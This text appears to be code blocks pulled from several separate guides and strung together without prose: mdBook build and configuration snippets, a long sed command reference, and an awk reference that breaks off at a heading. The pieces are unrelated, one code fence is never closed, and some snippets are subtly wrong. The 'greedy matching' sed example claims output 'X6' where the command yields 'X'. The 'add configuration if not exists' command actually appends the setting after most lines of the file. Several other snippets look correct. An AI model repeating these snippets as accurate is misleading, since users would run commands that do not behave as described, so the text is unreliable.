COPY --from=builder /book/book /usr/share/nginx/html

# book.toml
[book]
multilingual = true

[output.html]
redirect = { "/" = "/en/" }

# Directory structure:
# src/
# ├── en/
# │   ├── SUMMARY.md
# │   └── chapter_1.md
# └── es/
#     ├── SUMMARY.md
#     └── chapter_1.md

<!-- Link to example project -->
See the [full example](https://github.com/user/repo/tree/main/examples/basic)

<!-- Include code from example -->
{{#include ../../examples/basic/src/main.rs}}

#!/bin/bash
# build_versions.sh

VERSIONS=("v1.0" "v1.1" "v2.0")

for version in "${VERSIONS[@]}"; do
    git checkout $version
    mdbook build -d "book/$version"
done

# Create index.html for version selection

# Recommended structure:
src/
├── SUMMARY.md
├── introduction.md
├── guide/
│   ├── README.md         # Chapter intro
│   ├── basics.md
│   └── advanced.md
├── reference/
│   ├── README.md
│   ├── api.md
│   └── cli.md
├── examples/
│   └── tutorial.md
└── appendix/
    ├── glossary.md
    └── resources.md

# Use consistent heading levels

## Chapter Title

### Section

#### Subsection

# Use relative links
[Link to other chapter](../other/chapter.md)

# Use descriptive alt text for images
![Architecture diagram showing components](./images/arch.png)

# Include language in code blocks
```rust
fn main() {}

### Performance Tips

```bash
# Minimize preprocessors
# Use relative links
# Optimize images
# Enable search caching

[output.html.search]
limit-results = 20

# Build fails
mdbook build -v          # Verbose output

# Links not working
# Use relative links: ./file.md or ../other/file.md

# Search not working
[output.html.search]
enable = true

# Changes not reflecting
mdbook clean && mdbook build

# Port already in use
mdbook serve -p 3001

# Code not highlighting
# Ensure language is specified in code blocks

# General syntax
sed [options] 'command' file
sed [options] -e 'command1' -e 'command2' file
sed [options] -f script.sed file

# Common options
sed -n 'command' file      # Suppress automatic output
sed -i 'command' file      # Edit file in-place
sed -i.bak 'command' file  # Edit in-place with backup
sed -e 'cmd1' -e 'cmd2'    # Multiple commands

# Single line
sed '5d' file              # Delete line 5
sed '3p' file              # Print line 3 (plus all lines)
sed -n '3p' file           # Print only line 3

# Last line
sed '$d' file              # Delete last line
sed -n '$p' file           # Print last line

# Range of lines
sed '2,5d' file            # Delete lines 2-5
sed '10,20p' file          # Print lines 10-20
sed '1,10s/old/new/g' file # Replace in lines 1-10

# From line to end
sed '5,$d' file            # Delete from line 5 to end

# Every nth line
sed -n '1~2p' file         # Print odd lines (1, 3, 5, ...)
sed -n '2~2p' file         # Print even lines (2, 4, 6, ...)
sed '0~5d' file            # Delete every 5th line

# Single pattern
sed '/pattern/d' file              # Delete lines matching pattern
sed '/ERROR/p' file                # Print lines containing ERROR
sed -n '/^#/p' file                # Print comment lines

# Pattern range
sed '/start/,/end/d' file          # Delete from start to end pattern
sed '/BEGIN/,/END/p' file          # Print lines between patterns
sed '/^$/,/^$/d' file              # Delete blank line groups

# Negation
sed '/pattern/!d' file             # Delete lines NOT matching pattern
sed -n '/pattern/!p' file          # Print lines NOT matching pattern

# Multiple patterns
sed '/pattern1/d; /pattern2/d' file  # Delete lines matching either pattern

# Line number and pattern
sed '5,/pattern/d' file            # Delete from line 5 to pattern match
sed '/pattern/,10d' file           # Delete from pattern to line 10

# Step addressing
sed -n '1~3p' file                 # Print every 3rd line starting from 1
sed '2~4d' file                    # Delete every 4th line starting from 2

# Address with offset
sed '/pattern/,+5d' file           # Delete match and 5 lines after
sed '10,+3d' file                  # Delete lines 10-13

# Basic substitution
sed 's/old/new/' file              # Replace first occurrence per line
sed 's/old/new/g' file             # Replace all occurrences
sed 's/old/new/2' file             # Replace second occurrence
sed 's/old/new/2g' file            # Replace from second occurrence onward

# Case-insensitive substitution
sed 's/old/new/i' file             # Case-insensitive replacement
sed 's/old/new/gi' file            # Case-insensitive, all occurrences

# Print only changed lines
sed -n 's/old/new/p' file          # Print only lines where substitution occurred

# Write changes to file
sed -n 's/old/new/w output.txt' file  # Write changed lines to file

# Delete specific lines
sed '5d' file                      # Delete line 5
sed '1,3d' file                    # Delete lines 1-3
sed '$d' file                      # Delete last line

# Delete by pattern
sed '/pattern/d' file              # Delete lines matching pattern
sed '/^$/d' file                   # Delete empty lines
sed '/^#/d' file                   # Delete comment lines
sed '/^\s*$/d' file                # Delete blank lines (with whitespace)

# Delete ranges
sed '/start/,/end/d' file          # Delete from start to end pattern

# Print specific lines (use with -n)
sed -n '5p' file                   # Print line 5 only
sed -n '1,10p' file                # Print lines 1-10
sed -n '$p' file                   # Print last line

# Print by pattern
sed -n '/pattern/p' file           # Print matching lines
sed -n '/ERROR/p' logfile          # Print error lines
sed -n '/^[0-9]/p' file            # Print lines starting with digit

# Print with duplicates
sed '5p' file                      # Print line 5 twice (line + print)

# Quit after line number
sed '10q' file                     # Print first 10 lines and quit
sed -n '1,20p; 20q' file          # Print lines 1-20 then quit

# Quit after pattern
sed '/pattern/q' file              # Print up to first match and quit
sed '/ERROR/q' file                # Stop at first ERROR

# Character-by-character replacement
sed 'y/abc/ABC/' file              # Replace a→A, b→B, c→C
sed 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/' file  # To uppercase
sed 'y/0123456789/----------/' file  # Replace digits with dashes

# Anchors
sed 's/^#//' file                  # Remove # from line start
sed 's/;$//' file                  # Remove ; from line end
sed 's/^/> /' file                 # Add > to line start
sed 's/$/ END/' file               # Add END to line end

# Character classes
sed 's/[0-9]/#/g' file             # Replace digits with #
sed 's/[a-z]/*/g' file             # Replace lowercase with *
sed 's/[[:space:]]/_/g' file       # Replace whitespace with _
sed 's/[[:punct:]]//g' file        # Remove punctuation

# Quantifiers
sed 's/a*/x/' file                 # Replace a* with x
sed 's/a\+/x/' file                # Replace one or more a with x
sed 's/a\{3\}/x/' file             # Replace exactly 3 a's with x
sed 's/a\{2,5\}/x/' file           # Replace 2-5 a's with x

# Groups and backreferences
sed 's/\(.*\)/[\1]/' file          # Wrap entire line in brackets
sed 's/\([0-9]*\)\.\([0-9]*\)/\2.\1/' file  # Swap decimal parts
sed 's/\(.*\):\(.*\)/\2:\1/' file  # Swap colon-separated parts

# Alternative delimiters (useful for paths)
sed 's|/old/path|/new/path|g' file          # Using |
sed 's#/old/path#/new/path#g' file          # Using #
sed 's@/old/path@/new/path@g' file          # Using @
sed 's:/old/path:/new/path:g' file          # Using :

# Mixed delimiters
sed 's|http://|https://|g' file             # Convert HTTP to HTTPS

# Escaping special characters
sed 's/\$/DOLLAR/g' file           # Replace $ with DOLLAR
sed 's/\*/STAR/g' file             # Replace * with STAR
sed 's/\./DOT/g' file              # Replace . with DOT
sed 's/\//SLASH/g' file            # Replace / with SLASH

# Using matched pattern (&)
sed 's/[0-9]\+/(&)/g' file         # Wrap numbers in parentheses
sed 's/ERROR/*** & ***/g' file     # Wrap ERROR with asterisks
sed 's/^/Line: &/' file            # Prefix each line with "Line: "

# Newline in replacement
sed 's/,/,\n/g' file               # Replace comma with comma+newline
sed 's/;/;\n/g' file               # Split on semicolons

# Append after line
sed '5a\New line text' file        # Append after line 5
sed '$a\Last line' file            # Append after last line

# Append after pattern
sed '/pattern/a\Added text' file   # Append after matching lines
sed '/^Section/a\---' file         # Add separator after sections

# Append multiple lines
sed '/pattern/a\
Line 1\
Line 2\
Line 3' file

# Insert before line
sed '1i\Header line' file          # Insert before first line
sed '5i\New line' file             # Insert before line 5

# Insert before pattern
sed '/pattern/i\Inserted text' file  # Insert before matching lines
sed '/^#/i\---' file               # Insert separator before comments

# Insert multiple lines
sed '1i\
#!/bin/bash\
# Script header\
' file

# Replace entire line
sed '5c\New line content' file     # Replace line 5
sed '$c\New last line' file        # Replace last line

# Replace by pattern
sed '/pattern/c\Replacement line' file  # Replace matching lines
sed '/ERROR/c\[ERROR REDACTED]' file    # Replace error lines

# Replace range
sed '10,20c\--- SECTION REMOVED ---' file  # Replace lines 10-20 with one line

# Skip next line
sed 'n; s/pattern/replacement/' file   # Replace on every other line

# Read next line into pattern space
sed '/pattern/{N; s/\n/ /}' file       # Join lines after pattern match

# h - Copy pattern space to hold space
# H - Append pattern space to hold space
# g - Copy hold space to pattern space
# G - Append hold space to pattern space
# x - Exchange pattern and hold spaces

# Reverse file (using hold space)
sed -n '1!G; h; $p' file

# Print duplicate lines
sed -n '/pattern/{h; n; /pattern/{g; p}}' file

# Remove duplicate consecutive lines
sed '$!N; /^\(.*\)\n\1$/!P; D'

# Join lines with pattern
sed '/pattern/{N; s/\n/ /}' file       # Join pattern line with next

# Join all lines
sed ':a; N; $!ba; s/\n/ /g' file

# Join lines ending with backslash
sed -e ':a' -e '/\\$/N; s/\\\n//; ta' file

# Process paragraph at a time (blank line separated)
sed '/./{H;$!d;}; x; s/PATTERN/REPLACEMENT/g' file

# Label syntax: :label
# Branch: b label (unconditional)
# Test: t label (branch if substitution succeeded)

# Remove duplicate consecutive lines
sed ':a; $!N; s/^\(.*\)\n\1$/\1/; ta; P; D' file

# Loop through replacements
sed ':a; s/pattern/replacement/; ta' file

# Conditional branching
sed '/pattern/b skip; s/old/new/; :skip' file

# Number lines
sed = file | sed 'N; s/\n/\t/'

# Number non-blank lines
sed '/./=' file | sed '/./N; s/\n/ /'

# Double space file
sed 'G' file

# Double space file (blank lines already present)
sed '/^$/d; G' file

# Triple space
sed 'G;G' file

# Reverse line order (tac alternative)
sed '1!G; h; $!d' file

# Reverse character order in each line
sed '/\n/!G; s/\(.\)\(.*\n\)/&\2\1/; //D; s/.//' file

# Simple replacement
sed 's/foo/bar/g' file                 # Replace all foo with bar
sed -i 's/foo/bar/g' file              # Replace in-place

# Multiple replacements
sed 's/foo/bar/g; s/baz/qux/g' file
sed -e 's/foo/bar/g' -e 's/baz/qux/g' file

# Replace only on specific lines
sed '10,20s/old/new/g' file            # Lines 10-20
sed '/pattern/s/old/new/g' file        # Lines matching pattern

# Replace whole words only
sed 's/\bword\b/replacement/g' file

# Replace with special characters
sed 's/$/\r/' file                     # Add Windows line endings
sed 's/\t/    /g' file                 # Replace tabs with spaces

# Delete empty lines
sed '/^$/d' file
sed '/^\s*$/d' file                    # Including whitespace-only lines

# Delete comment lines
sed '/^#/d' file                       # Shell/Python comments
sed '/^\/\//d' file                    # C++ style comments
sed '/^\/\*/,/\*\//d' file             # C style block comments

# Delete lines by pattern
sed '/pattern/d' file                  # Lines containing pattern
sed '/^pattern$/d' file                # Lines exactly matching
sed '/pattern1/d; /pattern2/d' file    # Multiple patterns

# Delete range
sed '10,20d' file                      # Delete lines 10-20
sed '/start/,/end/d' file              # Delete from start to end pattern

# Extract specific lines
sed -n '10p' file                      # Line 10
sed -n '10,20p' file                   # Lines 10-20
sed -n '1p; 5p; 10p' file              # Multiple specific lines

# Extract by pattern
sed -n '/pattern/p' file               # Lines matching pattern
sed -n '/start/,/end/p' file           # Lines between patterns
sed -n '/ERROR/p' file                 # Error lines

# Extract and modify
sed -n 's/.*pattern:\(.*\)/\1/p' file  # Extract after pattern:
sed -n 's/^.*=//p' file                # Extract after =

# Add line numbers
sed = file | sed 'N; s/\n/\t/'

# Add prefix/suffix
sed 's/^/PREFIX: /' file               # Add prefix
sed 's/$/ [END]/' file                 # Add suffix
sed 's/.*/>>> & <<</' file             # Wrap lines

# Add header/footer
sed '1i\HEADER LINE' file
sed '$a\FOOTER LINE' file

# Insert blank lines
sed 'G' file                           # After every line
sed '/pattern/G' file                  # After pattern matches
sed '/pattern/{G;G;}' file             # Two blanks after pattern

# Change configuration value
sed 's/^DEBUG=.*/DEBUG=true/' config.ini
sed 's/^\(PORT=\).*/\1 8080/' config

# Comment out lines
sed 's/^/# /' file                     # Prefix all lines
sed '/pattern/s/^/# /' file            # Comment lines matching pattern
sed '10,20s/^/# /' file                # Comment lines 10-20

# Uncomment lines
sed 's/^# //' file                     # Remove # prefix
sed '/pattern/s/^# *//' file           # Uncomment pattern matches

# Add configuration if not exists
sed '/^MAX_CONN/!s/$/\nMAX_CONN=100/' file

# Extract errors
sed -n '/ERROR/p' logfile
sed -n '/ERROR\|FATAL/p' logfile       # ERROR or FATAL

# Filter by timestamp
sed -n '/2024-01-15/p' logfile
sed -n '/2024-01-15 09:/,/2024-01-15 10:/p' logfile

# Remove timestamps
sed 's/^[0-9]\{4\}-[0-9]\{2\}-[0-9]\{2\} [0-9]\{2\}:[0-9]\{2\}:[0-9]\{2\} //' logfile

# Anonymize IP addresses
sed 's/[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}/XXX.XXX.XXX.XXX/g' logfile

# Count error types
sed -n 's/.*ERROR: \([^:]*\).*/\1/p' logfile | sort | uniq -c

# Change delimiter
sed 's/,/\t/g' file.csv                # CSV to TSV
sed 's/\t/,/g' file.tsv                # TSV to CSV

# Extract specific columns (simple cases)
sed 's/^\([^,]*\),\([^,]*\).*/\1,\2/' file.csv  # First two columns

# Remove quotes
sed 's/"//g' file.csv

# Add quotes to fields
sed 's/\([^,]*\)/"\1"/g' file.csv

# Remove header
sed '1d' file.csv

# Add header
sed '1i\Name,Age,Email' file.csv

# Change protocol
sed 's|http://|https://|g' file

# Extract domain
sed 's|.*://\([^/]*\).*|\1|' urls.txt

# Extract path
sed 's|.*://[^/]*/\(.*\)|\1|' urls.txt

# Change file extension
sed 's/\.txt$/.md/' files.txt
sed 's/\.[^.]*$/.new/' files.txt       # Any extension to .new

# Convert Windows paths to Unix
sed 's|\\|/|g' paths.txt
sed 's|C:|/mnt/c|g' paths.txt

# Remove trailing whitespace
sed 's/[[:space:]]*$//' source.cpp

# Convert tabs to spaces
sed 's/\t/    /g' source.cpp

# Remove C++ comments
sed 's|//.*||' source.cpp

# Format function definitions
sed '/^[a-zA-Z].*{$/i\\' source.cpp    # Add blank before {

# Extract IP addresses
sed 's/^\([0-9.]*\).*/\1/' access.log

# Filter by status code
sed -n '/ 404 /p' access.log           # 404 errors
sed -n '/ [45][0-9][0-9] /p' access.log  # All errors

# Extract request paths
sed 's/.*"\(GET\|POST\) \([^ ]*\).*/\2/' access.log

# Anonymize IPs
sed 's/\([0-9]\{1,3\}\.\)[0-9]\{1,3\}\.\([0-9]\{1,3\}\.\)[0-9]\{1,3\}/\1XXX.\2XXX/' access.log

# Remove HTML tags
sed 's/<[^>]*>//g' page.html

# Extract links
sed -n 's/.*href="\([^"]*\)".*/\1/p' page.html

# Convert to text entities
sed 's/&/\&amp;/g; s/</\&lt;/g; s/>/\&gt;/g' file.txt

# Extract title
sed -n 's/.*<title>\(.*\)<\/title>.*/\1/p' page.html

# Extract email addresses
sed -n 's/.*\([a-zA-Z0-9._%+-]*@[a-zA-Z0-9.-]*\.[a-zA-Z]\{2,\}\).*/\1/p' file.txt

# Obfuscate emails
sed 's/@/ [at] /g; s/\./ [dot] /g' emails.txt

# Validate email format (simple)
sed -n '/^[a-zA-Z0-9._%+-]\+@[a-zA-Z0-9.-]\+\.[a-zA-Z]\{2,\}$/p' emails.txt

# Uppercase/lowercase
sed 's/.*/\U&/' file                   # Convert to uppercase
sed 's/.*/\L&/' file                   # Convert to lowercase
sed 's/\b\(.\)/\U\1/g' file            # Capitalize words

# Format phone numbers
sed 's/\([0-9]\{3\}\)\([0-9]\{3\}\)\([0-9]\{4\}\)/(\1) \2-\3/' phones.txt

# Format dates
sed 's|\([0-9]\{2\}\)/\([0-9]\{2\}\)/\([0-9]\{4\}\)|\3-\1-\2|' dates.txt

# Add thousand separators
sed ':a; s/\([0-9]\)\([0-9]\{3\}\)\($\|,\)/\1,\2\3/; ta' numbers.txt

# Generate SQL INSERT statements
sed 's/\(.*\),\(.*\),\(.*\)/INSERT INTO users VALUES ("\1", "\2", "\3");/' data.csv

# Generate test cases
sed 's/\(.*\)/test("\1", function() { ... });/' testcases.txt

# Generate markdown list
sed 's/^/- /' items.txt
sed 's/^\(.*\)$/- [\1](\1.md)/' files.txt

# script.sed
/^#/d                    # Remove comments
/^$/d                    # Remove empty lines
s/  */ /g                # Collapse spaces
s/^ //                   # Remove leading space
s/ $//                   # Remove trailing space

# Run script
sed -f script.sed input.txt

# Combine script with commands
sed -f script.sed -e 's/extra/replacement/' input.txt

# format-code.sed - Format C code
# Remove trailing whitespace
s/[[:space:]]*$//

# Convert tabs to 4 spaces
s/\t/    /g

# Add space after keywords
s/\(if\|for\|while\)(/\1 (/g

# Format braces
/^[[:space:]]*{/i\

# Remove multiple blank lines
/^$/{
    N
    /^\n$/D
}

# Edit file directly
sed -i 's/old/new/g' file.txt

# Create backup with extension
sed -i.bak 's/old/new/g' file.txt      # Creates file.txt.bak
sed -i.backup 's/old/new/g' file.txt   # Creates file.txt.backup

# Edit multiple files
sed -i 's/old/new/g' *.txt

# Edit with backup (BSD/macOS)
sed -i '' 's/old/new/g' file.txt       # No backup
sed -i '.bak' 's/old/new/g' file.txt   # With backup

# Test before applying
sed 's/old/new/g' file.txt | diff file.txt -

# Conditional in-place edit
if sed 's/old/new/g' file.txt > temp.txt; then
    mv temp.txt file.txt
else
    rm temp.txt
    echo "sed failed"
fi

# Atomic replacement
sed 's/old/new/g' file.txt > file.txt.tmp && mv file.txt.tmp file.txt

# Good
sed 's/pattern/replacement/' file

# Bad (can cause issues with special characters)
sed s/pattern/replacement/ file

# Hard to read
sed 's/\/usr\/local\/bin/\/opt\/bin/g' file

# Better
sed 's|/usr/local/bin|/opt/bin|g' file

# Test output first
sed 's/old/new/g' file.txt

# Then apply in-place
sed -i 's/old/new/g' file.txt

# Wrong (prints lines twice)
sed '/pattern/p' file

# Correct
sed -n '/pattern/p' file

# Literal dot
sed 's/\./DOT/g' file

# Literal asterisk
sed 's/\*/STAR/g' file

# Variables (use double quotes)
VAR="value"
sed "s/pattern/$VAR/" file

# Basic regex (need to escape +, ?, |, etc.)
sed 's/a\+/x/' file

# Extended regex (GNU sed)
sed -r 's/a+/x/' file
sed -E 's/a+/x/' file        # POSIX/BSD compatible

# Stop after first match
sed '/pattern/q' large-file.txt

# Process specific range only
sed -n '1000,2000p' large-file.txt

# Use quit to limit processing
sed '1000q' large-file.txt

# Problem: Greedy matching
echo "abc123def456" | sed 's/.*[0-9]/X/'    # Returns: X6

# Solution: Non-greedy (use multiple steps)
echo "abc123def456" | sed 's/[0-9]\+/X/g'   # Returns: abcXdefX

# DOS to Unix
sed 's/\r$//' dosfile.txt

# Unix to DOS
sed 's/$/\r/' unixfile.txt

# GNU sed uses \1, \2, etc.
sed 's/\(.*\):\(.*\)/\2:\1/' file

# Some versions use &, \&

# GNU sed
sed -i 's/old/new/' file           # No backup
sed -i.bak 's/old/new/' file       # With backup

# BSD/macOS sed
sed -i '' 's/old/new/' file        # No backup
sed -i '.bak' 's/old/new/' file    # With backup

# Problem: Can't delete all lines and add new content
sed 'd; a\new text' file           # Won't work

# Solution: Use c to change
sed 'c\new text' file

# Extended regex
sed -r 's/pattern/replacement/' file    # GNU
sed -E 's/pattern/replacement/' file    # BSD/POSIX

# In-place editing
sed -i 's/pattern/replacement/' file    # GNU
sed -i '' 's/pattern/replacement/' file # BSD

# Address ranges
sed '1~2d' file                         # GNU (every other line)
# BSD requires different approach

# Use POSIX features only
# Avoid GNU-specific features:
# - Extended regex (-r)
# - In-place editing without extension
# - Address stepping (1~2)
# - \U, \L for case conversion

# Test on multiple platforms
# Use sed -i.bak for portability
# Avoid relying on GNU-specific escapes

# Stop processing after finding first match
sed '/pattern/q' large-file.txt

# Process only needed range
sed -n '100,200p' large-file.txt

# Less efficient
sed 's/foo/bar/' file | sed 's/baz/qux/'

# More efficient
sed 's/foo/bar/; s/baz/qux/' file

# Less efficient (checks all lines)
sed 's/pattern/replacement/g' file

# More efficient (only specific range)
sed '10,1000s/pattern/replacement/g' file

# Replace
sed 's/old/new/g' file

# Delete
sed '/pattern/d' file

# Print matching
sed -n '/pattern/p' file

# Insert
sed '1i\text' file

# Append
sed '$a\text' file

# Extract lines
sed -n '10,20p' file

# In-place edit
sed -i 's/old/new/g' file

# Print what sed is doing (GNU sed)
sed --debug 's/pattern/replacement/' file

# Trace execution
sed -n 'l' file                    # Show special characters

# Test patterns separately
sed -n '/pattern/=' file           # Print line numbers of matches

# "unterminated `s' command"
# Forgot closing delimiter
sed 's/pattern/replacement' file   # Wrong
sed 's/pattern/replacement/' file  # Correct

# "invalid reference \1 on `s' command's RHS"
# No capturing group in pattern
sed 's/pattern/\1/' file           # Wrong
sed 's/\(pattern\)/\1/' file       # Correct

# "extra characters after command"
# Missing semicolon between commands
sed 's/a/b/ s/c/d/' file           # Wrong
sed 's/a/b/; s/c/d/' file          # Correct

# Dry run - see changes before applying
sed 's/old/new/g' file > /dev/null && echo "Syntax OK"

# Compare before/after
diff <(cat original.txt) <(sed 's/old/new/' original.txt)

# Count changes
sed -n 's/old/new/p' file | wc -l

# Validate regex pattern
echo "test" | sed '/pattern/!d'

awk 'pattern { action }' file

# Pattern: Condition to match
# Action: Commands to execute when pattern matches
# If pattern is omitted, action applies to all lines
# If action is omitted, matching lines are printed

# Print all lines (like cat)
awk '{ print }' file.txt

# Print all lines (default action)
awk '1' file.txt

# Print specific field
awk '{ print $1 }' file.txt

# Print multiple fields
awk '{ print $1, $3 }' file.txt

# Print entire line
awk '{ print $0 }' file.txt

# Example input: "Alice 25 Engineer"

# Print first field
awk '{ print $1 }' file        # Alice

# Print second field
awk '{ print $2 }' file        # 25

# Print last field
awk '{ print $NF }' file       # Engineer

# Print second-to-last field
awk '{ print $(NF-1) }' file   # 25

# Print all fields
awk '{ print $0 }' file        # Alice 25 Engineer

# Number of fields
awk '{ print NF }' file        # 3

# Default separator (whitespace)
awk '{ print $1 }' file

# Custom separator (colon)
awk -F: '{ print $1 }' /etc/passwd

# Multiple character separator
awk -F'::' '{ print $1 }' file

# Regex separator
awk -F'[,:]' '{ print $1 }' file

# Tab separator
awk -F'\t' '{ print $1 }' file

# Set separator in BEGIN
awk 'BEGIN { FS=":" } { print $1 }' file

# Output field separator
awk 'BEGIN { OFS="," } { print $1, $2 }' file

# NR - Number of Records (line number)
awk '{ print NR, $0 }' file

# NF - Number of Fields
awk '{ print NF, $0 }' file

# FNR - File Number of Records (resets for each file)
awk '{ print FNR, $0 }' file1 file2

# FS - Field Separator (input)
awk 'BEGIN { FS=":" } { print $1 }' file

# OFS - Output Field Separator
awk 'BEGIN { OFS="|" } { print $1, $2 }' file

# RS - Record Separator (input, default: newline)
awk 'BEGIN { RS=";" } { print }' file

# ORS - Output Record Separator (default: newline)
awk 'BEGIN { ORS="; " } { print }' file

# FILENAME - Current filename
awk '{ print FILENAME, $0 }' file

# ARGC - Argument count
awk 'BEGIN { print ARGC }' file1 file2

# ARGV - Argument array
awk 'BEGIN { for(i=0; i<ARGC; i++) print ARGV[i] }' file

# Print with line numbers
awk '{ print NR ":", $0 }' file

# Print only specific lines
awk 'NR==5' file                # Line 5
awk 'NR>=10 && NR<=20' file     # Lines 10-20
awk 'NR==1 || NR==10' file      # Lines 1 and 10

# Match lines containing "error"
awk '/error/' file

# Case-insensitive match
awk 'tolower($0) ~ /error/' file

# Match lines NOT containing "error"
awk '!/error/' file

# Match specific field
awk '$3 ~ /error/' file         # Field 3 contains "error"
awk '$3 !~ /error/' file        # Field 3 doesn't contain "error"

# Match exact field
awk '$1 == "ERROR"' file
awk '$1 != "ERROR"' file

# Lines starting with "Error"
awk '/^Error/' file

# Lines ending with "failed"
awk '/failed$/' file

# Lines with numbers
awk '/[0-9]+/' file

# Email addresses
awk '/[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/' file

# IP addresses
awk '/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/' file

# Match alternatives
awk '/error|warning|critical/' file

# Match with groups
awk '/^(GET|POST|PUT|DELETE)/' access.log

# Numeric comparisons
awk '$2 > 100' file             # Field 2 greater than 100
awk '$2 >= 100' file            # Greater or equal
awk '$2 < 100' file             # Less than
awk '$2 <= 100' file            # Less or equal
awk '$2 == 100' file            # Equal to
awk '$2 != 100' file            # Not equal

# String comparisons
awk '$1 == "ERROR"' file
awk '$1 != "ERROR"' file

# Multiple conditions (AND)
awk '$2 > 100 && $3 < 50' file

# Multiple conditions (OR)
awk '$1 == "ERROR" || $1 == "WARN"' file

# NOT operator
awk '!($2 > 100)' file

# Between two patterns
awk '/START/,/END/' file

# From pattern to end
awk '/START/,0' file

# From line 10 to 20
awk 'NR==10,NR==20' file

# From first match to second match
awk '/begin/,/end/ { print NR, $0 }' file

# Basic print
awk '{ print $1 }' file

# Print with text
awk '{ print "Name:", $1 }' file

# Print multiple fields
awk '{ print $1, $2, $3 }' file

# Print with custom separator
awk '{ print $1 "|" $2 "|" $3 }' file

# Formatted print (printf)
awk '{ printf "%-10s %5d\n", $1, $2 }' file

# Print to file
awk '{ print $0 > "output.txt" }' file

# Append to file
awk '{ print $0 >> "output.txt" }' file

# String formatting
awk '{ printf "%s\n", $1 }' file
awk '{ printf "%-20s\n", $1 }' file    # Left-aligned, width 20
awk '{ printf "%20s\n", $1 }' file     # Right-aligned, width 20

# Integer formatting
awk '{ printf "%d\n", $2 }' file
awk '{ printf "%5d\n", $2 }' file      # Width 5
awk '{ printf "%05d\n", $2 }' file     # Zero-padded

# Float formatting
awk '{ printf "%.2f\n", $3 }' file     # 2 decimal places
awk '{ printf "%8.2f\n", $3 }' file    # Width 8, 2 decimals

# Hexadecimal
awk '{ printf "%x\n", $1 }' file

# Multiple formats
awk '{ printf "Name: %-10s Age: %3d Salary: %8.2f\n", $1, $2, $3 }' file

# Simple variable
awk '{ count = count + 1 } END { print count }' file

# Multiple variables
awk '{ sum += $1; count++ } END { print sum/count }' file

# String variables
awk '{ name = $1; print "Hello", name }' file

# Initialize in BEGIN
awk 'BEGIN { total = 0 } { total += $1 } END { print total }' file

# Addition
awk '{ print $1 + $2 }' file

# Subtraction
awk '{ print $1 - $2 }' file

# Multiplication
awk '{ print $1 * $2 }' file

# Division
awk '{ print $1 / $2 }' file

# Modulo
awk '{ print $1 % $2 }' file

# Exponentiation
awk '{ print $1 ** $2 }' file

# Increment/Decrement
awk '{ count++; print count }' file
awk '{ ++count; print count }' file
awk '{ count--; print count }' file

# Compound assignment
awk '{ sum += $1; count += 1 }' file

# Concatenation
awk '{ print $1 $2 }' file
awk '{ print $1 " " $2 }' file
awk '{ name = $1 " " $2; print name }' file

# Length
awk '{ print length($1) }' file
awk '{ print length }' file            # Length of $0

# Substring
awk '{ print substr($1, 1, 3) }' file  # First 3 chars
awk '{ print substr($1, 4) }' file     # From 4th char

# Index (find position)
awk '{ print index($0, "error") }' file

# Split
awk '{ split($0, arr, ":"); print arr[1] }' file

# Simple if
awk '{ if ($1 > 100) print $0 }' file

# If-else
awk '{ if ($1 > 100) print "High"; else print "Low" }' file

# If-else if-else
awk '{
    if ($1 >= 90) print "A"
    else if ($1 >= 80) print "B"
    else if ($1 >= 70) print "C"
    else print "F"
}' file

# Nested if
awk '{
    if ($1 > 0) {
        if ($1 > 100)
            print "Very High"
        else
            print "Normal"
    }
}' file

# Ternary operator
awk '{ print ($1 > 100) ? "High" : "Low" }' file

# For loop
awk '{
    for (i = 1; i <= NF; i++)
        print $i
}' file

# For loop with custom range
awk 'BEGIN {
    for (i = 1; i <= 10; i++)
        print i
}'

# While loop
awk '{
    i = 1
    while (i <= NF) {
        print $i
        i++
    }
}' file

# Do-while loop
awk '{
    i = 1
    do {
        print $i
        i++
    } while (i <= NF)
}' file

# Break and continue
awk '{
    for (i = 1; i <= NF; i++) {
        if ($i == "skip") continue
        if ($i == "stop") break
        print $i
    }
}' file

# Simple array
awk '{ count[$1]++ } END { for (word in count) print word, count[word] }' file

# Multi-dimensional array (simulated)
awk '{ arr[$1, $2] = $3 } END { for (key in arr) print key, arr[key] }' file

# Check if element exists
awk '{ if ($1 in count) count[$1]++; else count[$1] = 1 }' file

# Delete array element
awk '{ arr[$1] = $2 } END { delete arr["key"]; for (k in arr) print k, arr[k] }' file

# Array of arrays (split)
awk '{
    split($0, arr, ":")
    for (i in arr)
        print i, arr[i]
}' file

# Count occurrences
awk '{ count[$1]++ } END { for (word in count) print word, count[word] }' file

# Sum by category
awk '{ sum[$1] += $2 } END { for (cat in sum) print cat, sum[cat] }' file

# Find unique values
awk '{ seen[$1]++ } END { for (val in seen) print val }' file

# Group data
awk '{
    group[$1] = group[$1] " " $2
} END {
    for (key in group)
        print key ":", group[key]
}' file

# Sorted output (requires external sort)
awk '{ count[$1]++ } END { for (word in count) print count[word], word }' file | sort -rn

# length(string)
awk '{ print length($1) }' file

# substr(string, start, length)
awk '{ print substr($1, 1, 3) }' file

# index(string, substring)
awk '{ print index($0, "error") }' file

# tolower(string)
awk '{ print tolower($1) }' file

# toupper(string)
awk '{ print toupper($1) }' file

# split(string, array, separator)
awk '{ split($0, arr, ":"); print arr[1] }' file

# gsub(regex, replacement, string)
awk '{ gsub(/old/, "new"); print }' file

# sub(regex, replacement, string) - first occurrence only
awk '{ sub(/old/, "new"); print }' file

# match(string, regex)
awk '{ if (match($0, /[0-9]+/)) print substr($0, RSTART, RLENGTH) }' file

# sprintf(format, ...)
awk '{ str = sprintf("%s:%d", $1, $2); print str }' file

# int(number)
awk '{ print int($1) }' file

# sqrt(number)
awk '{ print sqrt($1) }' file

# sin(number), cos(number), atan2(y, x)
awk 'BEGIN { print sin(0), cos(0), atan2(1, 1) }'

# exp(number), log(number)
awk '{ print exp($1), log($1) }' file

# rand() - random number 0-1
awk 'BEGIN { print rand() }'

# srand(seed) - seed random number generator
awk 'BEGIN { srand(); print rand() }'

# Initialize variables
awk 'BEGIN { sum = 0 } { sum += $1 } END { print sum }' file

# Print header
awk 'BEGIN { print "Name\tAge\tCity" } { print }' file

# Set field separator
awk 'BEGIN { FS=":" } { print $1 }' file

# Print formatted header
awk 'BEGIN {
    print "=============================="
    print "      Sales Report"
    print "=============================="
} { print }' file

# Print summary
